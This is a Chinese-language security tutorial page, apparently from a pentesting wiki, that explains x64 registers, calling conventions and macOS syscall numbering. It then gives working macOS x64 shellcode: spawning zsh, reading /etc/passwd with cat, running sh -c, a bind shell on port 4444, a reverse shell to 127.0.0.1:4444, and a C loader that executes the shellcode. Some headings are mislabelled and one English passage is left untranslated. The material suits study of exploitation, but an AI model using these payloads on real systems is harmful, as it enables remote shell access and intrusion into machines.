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# x64简介

<details>

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</details>

## **x64简介**

x64，也被称为x86-64，是一种主要用于桌面和服务器计算的64位处理器架构。它起源于由英特尔生产的x86架构，并在后来由AMD采用并命名为AMD64，是个人计算机和服务器中普遍使用的架构。

### **寄存器**

x64扩展了x86架构，具有16个通用寄存器，标记为`rax`，`rbx`，`rcx`，`rdx`，`rbp`，`rsp`，`rsi`，`rdi`和`r8`到`r15`。每个寄存器可以存储一个64位（8字节）的值。这些寄存器还具有32位、16位和8位的子寄存器，用于兼容性和特定任务。

1. **`rax`** - 传统上用于函数的**返回值**。
2. **`rbx`** - 经常用作内存操作的**基址寄存器**。
3. **`rcx`** - 常用于**循环计数器**。
4. **`rdx`** - 用于各种角色，包括扩展算术运算。
5. **`rbp`** - 栈帧的**基指针**。
6. **`rsp`** - **栈指针**，跟踪栈的顶部。
7. **`rsi`** 和 **`rdi`** - 用于字符串/内存操作中的**源**和**目的**索引。
8. **`r8`** 到 **`r15`** - 在x64中引入的额外通用寄存器。

### **调用约定**

x64的调用约定在操作系统之间有所不同。例如：

* **Windows**：前**四个参数**通过寄存器**`rcx`**，**`rdx`**，**`r8`**和**`r9`**传递。更多的参数被推送到栈上。返回值在**`rax`**中。
* **System V（通常用于类UNIX系统）**：前**六个整数或指针参数**通过寄存器**`rdi`**，**`rsi`**，**`rdx`**，**`rcx`**，**`r8`**和**`r9`**传递。返回值也在**`rax`**中。

如果函数有超过六个输入，则**其余的参数将被传递到栈上**。**RSP**，即栈指针，在任何调用发生之前必须是**16字节对齐**的，这意味着它指向的地址必须能够被16整除。这意味着通常我们需要确保在进行函数调用之前，我们的shellcode中的RSP被正确对齐。然而，在实践中，即使不满足这个要求，系统调用也经常能够正常工作。

### **常见指令**

x64指令具有丰富的指令集，保持与早期x86指令的兼容性并引入新指令。

* **`mov`**：将一个值从一个**寄存器**或**内存位置**移动到另一个寄存器或内存位置。
* 示例：`mov rax, rbx` — 将`rbx`中的值移动到`rax`中。
* **`push`** 和 **`pop`**：将值推送到/从**栈**中弹出。
* 示例：`push rax` — 将`rax`中的值推送到栈中。
* 示例：`pop rax` — 将栈顶的值弹出到`rax`中。
* **`add`** 和 **`sub`**：**加法**和**减法**操作。
* 示例：`add rax, rcx` — 将`rax`和`rcx`中的值相加，并将结果存储在`rax`中。
* **`mul`** 和 **`div`**：**乘法**和**除法**操作。注意：这些操作对操作数的使用有特定的行为。
* **`call`** 和 **`ret`**：用于**调用**和**从函数返回**。
* **`int`**：用于触发软件**中断**。例如，在32位x86 Linux中，`int 0x80`用于系统调用。
* **`cmp`**：比较两个值并根据结果设置CPU的标志位。
* 示例：`cmp rax, rdx` — 将`rax`与`rdx`进行比较。
* **`je`**，**`jne`**，**`jl`**，**`jge`**，...：**条件跳转**指令，根据先前的`cmp`或测试结果改变控制流。
* 示例：在`cmp rax, rdx`指令之后，`je label` — 如果`rax`等于`rdx`，则跳转到`label`。
* **`syscall`**：在某些x64系统（如现代Unix）中用于**系统调用**。
* **`sysenter`**：在某些平台上优化的**系统调用**指令。
### **函数序言**

1. **保存旧的基指针**: `push rbp`（保存调用者的基指针）
2. **将当前栈指针移动到基指针**: `mov rbp, rsp`（为当前函数设置新的基指针）
3. **在栈上为局部变量分配空间**: `sub rsp, <size>`（其中 `<size>` 是所需的字节数）

### **函数尾声**

1. **将当前基指针移动到栈指针**: `mov rsp, rbp`（释放局部变量）
2. **从栈中弹出旧的基指针**: `pop rbp`（恢复调用者的基指针）
3. **返回**: `ret`（将控制权返回给调用者）

## macOS

### 系统调用

有不同类别的系统调用，您可以在[**这里找到它们**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */
```
然后，您可以在[**此网址**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)中找到每个系统调用的编号：
```c
0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]
```
所以为了调用`open`系统调用（**5**），你需要将其添加为`0x2000000`。

因此，调用open的系统调用号将是`0x2000005`。

### Shellcode

编译方法：

{% code overflow="wrap" %}
```bash
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
```
{% endcode %}

提取字节：

{% code overflow="wrap" %}
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
```
{% endcode %}

<details>

<summary>用于测试shellcode的C代码</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}
```
</details>

#### Shell

从[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)获取并解释。

{% tabs %}
{% tab title="使用adr" %}
```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% tab title="使用堆栈" %}
```armasm
bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}

#### 使用cat命令读取

目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`，因此第二个参数（x1）是一个参数数组（在内存中表示为地址的堆栈）。
```armasm
bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0
```
#### 使用sh调用命令

To invoke a command using the `sh` command, you can use the following syntax:

要使用`sh`命令调用命令，可以使用以下语法：

```sh
sh -c "command"
```

For example, if you want to execute the `ls` command using `sh`, you would run:

例如，如果你想使用`sh`执行`ls`命令，你可以运行：

```sh
sh -c "ls"
```

This will execute the `ls` command as if it were run directly from the command line.
```armasm
bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0
```
#### 绑定 shell

从 [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) 获取的绑定 shell，在**端口 4444**上。
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall
```
#### 反向 Shell

从[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)获取反向 Shell。反向 Shell 到 **127.0.0.1:4444**。
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall
```
<details>

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